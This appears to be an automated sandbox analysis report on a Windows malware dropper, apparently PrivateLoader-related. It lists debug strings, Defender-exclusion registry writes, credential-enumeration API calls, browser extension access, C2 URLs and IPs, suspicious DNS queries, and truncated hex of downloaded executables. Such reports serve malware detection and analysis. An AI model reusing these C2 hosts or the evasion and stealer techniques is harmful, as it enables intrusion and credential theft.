Source:	Binary string: \??\C:\Windows\Hider.pdba source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2452071198.000001CED6F00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: K:\2024-5-11\ZQDS\x64\Release\ZQDS.pdb source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263864919.00000255D9420000.00000040.00001000.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000003.1932902884.00000255D93F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\dev\sqlite\dotnet-private\obj\2015\System.Data.SQLite.Linq.2015\Release\System.Data.SQLite.Linq.pdb source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2222007129.0000000004B7F000.00000004.00000800.00020000.00000000.sdmp, _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2394017674.0000000068794000.00000002.00000001.01000000.00000028.sdmp, _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2316030180.0000000005D80000.00000004.08000000.00040000.00000000.sdmp, _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2222007129.0000000004543000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2135134258.0000000000CBC000.00000080.00000001.01000000.00000014.sdmp
Source:	Binary string: $K:\2024-5-11\ZQDS\x64\Release\ZQDS.pdb source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263864919.00000255D9420000.00000040.00001000.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000003.1932902884.00000255D93F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000000.1650483666.0000000140B5E000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdbhhh source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1737430213.00000000043E0000.00000004.00000020.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000000.1877131180.00007FF62C629000.00000002.00000001.01000000.0000000A.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2264433765.00007FF62C629000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: mozglue.pdb source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524124918.00000000684ED000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdbfffGCTL source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdb source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1737430213.00000000043E0000.00000004.00000020.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000000.1877131180.00007FF62C629000.00000002.00000001.01000000.0000000A.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2264433765.00007FF62C629000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: \??\C:\Windows\exe\Hider.pdbows1 source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2449565795.000001CED6595000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\79631\source\repos\Gcleanerapp\Gcleanerapp\obj\Release\Gcleanerapp.pdb source: l9lSJ9GGGlvKrfyivpacgPFW.exe, 0000000B.00000003.2260797021.0000000004827000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000000.1650483666.0000000140983000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdb source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2382093080.000001CEBDD3B000.00000004.00000800.00020000.00000000.sdmp, uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2373715799.000001CEBDBB0000.00000002.00000001.00040000.0000000E.sdmp, uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2444278033.000001CED64EF000.00000004.00000020.00020000.00000000.sdmp, uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2452071198.000001CED6F00000.00000004.00000020.00020000.00000000.sdmp, uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000000.1876988239.000001CEBBFB2000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdb source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000000.1650483666.0000000140B5E000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: MsMpEng.pdb source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263864919.00000255D9420000.00000040.00001000.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000003.1932902884.00000255D93F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524875877.00000000686AF000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: \??\C:\Windows\Hider.pdbB source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2452071198.000001CED6F00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2222007129.0000000004C3C000.00000004.00000800.00020000.00000000.sdmp, _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2316030180.0000000005E3A000.00000004.08000000.00040000.00000000.sdmp, _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2222007129.0000000004AB1000.00000004.00000800.00020000.00000000.sdmp

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{34625537-C776-4AA5-A2C7-1FF0E359A4A9}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{34625537-C776-4AA5-A2C7-1FF0E359A4A9}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00876000 CreateDirectoryA,FindFirstFileA,FindNextFileA,GetLastError,FindClose,	5_2_00876000
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00896770 FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	5_2_00896770
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_0088FF00 CreateDirectoryA,FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,GetLastError,GetLastError,CreateDirectoryA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,	5_2_0088FF00
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00843F40 SHGetFolderPathA,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CopyFileA,CredEnumerateA,LocalFree,	5_2_00843F40
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007E1F9C FindClose,FindFirstFileExW,GetLastError,	5_2_007E1F9C
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007E2022 GetLastError,GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	5_2_007E2022
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008438D0 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	5_2_008438D0

Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2049837 ET TROJAN Suspected PrivateLoader Activity (POST) 192.168.2.4:49730 -> 85.192.56.26:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.172.128.170/7043a0c6a68d9c65.php
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199689717899
Source: Malware configuration extractor	URLs: http://cajgtus.com/lancer/get.php
Source: Malware configuration extractor	IPs: 185.172.128.90
Source: Malware configuration extractor	URLs: 5.42.65.115:40551

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 147.45.47.126 ports 0,5,7,8,58709,9

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: o7NSAvcmmjJsywuQqmat3xec.exe.0.dr
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: fFfNwvc0rMX7IynLDDJ83wn3.exe.0.dr
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: uKOqmIfIwRpCCy7unUA6x9Xx.exe.0.dr

Performs DNS queries to domains with low reputation

Source:	DNS query: f.123654987.xyz
Source:	DNS query: service-domain.xyz
Source:	DNS query: service-domain.xyz
Source:	DNS query: api2.check-data.xyz

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 54674
Source: unknown	Network traffic detected: HTTP traffic on port 54674 -> 49760

Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 147.45.47.149:54674
Source: global traffic	TCP traffic: 192.168.2.4:49810 -> 5.42.67.8:50500
Source: global traffic	TCP traffic: 192.168.2.4:49811 -> 5.42.65.116:50500
Source: global traffic	TCP traffic: 192.168.2.4:49824 -> 5.42.65.115:40551
Source: global traffic	TCP traffic: 192.168.2.4:49826 -> 147.45.47.126:58709

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 11:42:03 GMTServer: Apache/2.4.52 (Ubuntu)Pragma: publicExpires: 0Cache-Control: must-revalidate, post-check=0, pre-check=0Cache-Control: privateContent-Disposition: attachment; filename="inte.exe";Content-Transfer-Encoding: binaryContent-Length: 225280Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b4 db fb 60 f0 ba 95 33 f0 ba 95 33 f0 ba 95 33 4d f5 03 33 f1 ba 95 33 ee e8 11 33 d1 ba 95 33 ee e8 00 33 e0 ba 95 33 ee e8 16 33 93 ba 95 33 d7 7c ee 33 f5 ba 95 33 f0 ba 94 33 9e ba 95 33 ee e8 1f 33 f1 ba 95 33 ee e8 01 33 f1 ba 95 33 ee e8 04 33 f1 ba 95 33 52 69 63 68 f0 ba 95 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 af c7 fa 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ae 00 00 00 a6 b7 01 00 00 00 00 c9 15 00 00 00 10 00 00 00 c0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 b8 01 00 04 00 00 d3 35 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 0c ff 02 00 3c 00 00 00 00 d0 b7 01 a8 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 fa 02 00 18 00 00 00 90 fa 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b6 ac 00 00 00 10 00 00 00 ae 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ce 47 02 00 00 c0 00 00 00 48 02 00 00 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 28 ae b4 01 00 10 03 00 00 24 00 00 00 fa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 cd 09 00 00 00 c0 b7 01 00 0a 00 00 00 1e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 47 00 00 00 d0 b7 01 00 48 00 00 00 28 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 11:42:03 GMTServer: Apache/2.4.52 (Ubuntu)Content-Description: File TransferContent-Disposition: attachment; filename=timeSync.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicContent-Length: 224256Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf fa 9a c6 fb 9b f4 95 fb 9b f4 95 fb 9b f4 95 f6 c9 2b 95 e1 9b f4 95 f6 c9 14 95 82 9b f4 95 f6 c9 15 95 dc 9b f4 95 f2 e3 67 95 fc 9b f4 95 fb 9b f5 95 99 9b f4 95 4e 05 15 95 fa 9b f4 95 f6 c9 2f 95 fa 9b f4 95 4e 05 2a 95 fa 9b f4 95 52 69 63 68 fb 9b f4 95 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 c7 b0 af 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 52 88 02 00 00 00 00 97 3e 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 89 02 00 04 00 00 18 d4 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 68 01 00 50 00 00 00 00 c0 88 02 f0 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 69 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 5e 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3f e5 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ca 70 00 00 00 00 01 00 00 72 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c0 34 87 02 00 80 01 00 00 7a 01 00 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 94 00 00 00 c0 88 02 00 96 00 00 00 d6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 11:42:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Fri, 24 May 2024 11:41:39 GMTETag: "271a00-61931a692e2c0"Accept-Ranges: bytesContent-Length: 2562560Content-Type: application/x-msdos-programData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 96 0f 00 00 80 17 00 00 00 00 00 98 a4 0f 00 00 10 00 00 00 b0 0f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 27 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 e0 0f 00 0c 22 00 00 00 70 11 00 00 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 10 00 48 36 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 10 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 00 95 0f 00 00 10 00 00 00 96 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 dc 1f 00 00 00 b0 0f 00 00 20 00 00 00 9a 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 15 0e 00 00 00 d0 0f 00 00 00 00 00 00 ba 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 0c 22 00 00 00 e0 0f 00 00 24 00 00 00 ba 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 18 00 00 00 00 10 10 00 00 00 00 00 00 de 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 20 10 00 00 02 00 00 00 de 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 48 36 01 00 00 30 10 00 00 38 01 00 00 e0 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 02 16 00 00 70 11 00 00 02 16 00 00 18 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 80 27 00 00 00 00 00 00 1a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 11:42:04 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 02 May 2024 09:42:48 GMTETag: "ae0000-617756d063600"Accept-Ranges: bytesContent-Length: 11403264Content-Type: application/x-msdownloadData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 e2 5f 33 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 80 00 00 00 2c ca 00 00 00 00 00 60 8b fa 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 a5 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 30 36 91 01 64 00 00 00 00 90 a5 01 58 2c 00 00 00 59 a5 01 fc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 8a 8c 01 28 00 00 00 c0 57 a5 01 38 01 00 00 00 00 00 00 00 00 00 00 00 b0 f7 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b6 7e 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f0 1d 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c8 e6 c9 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 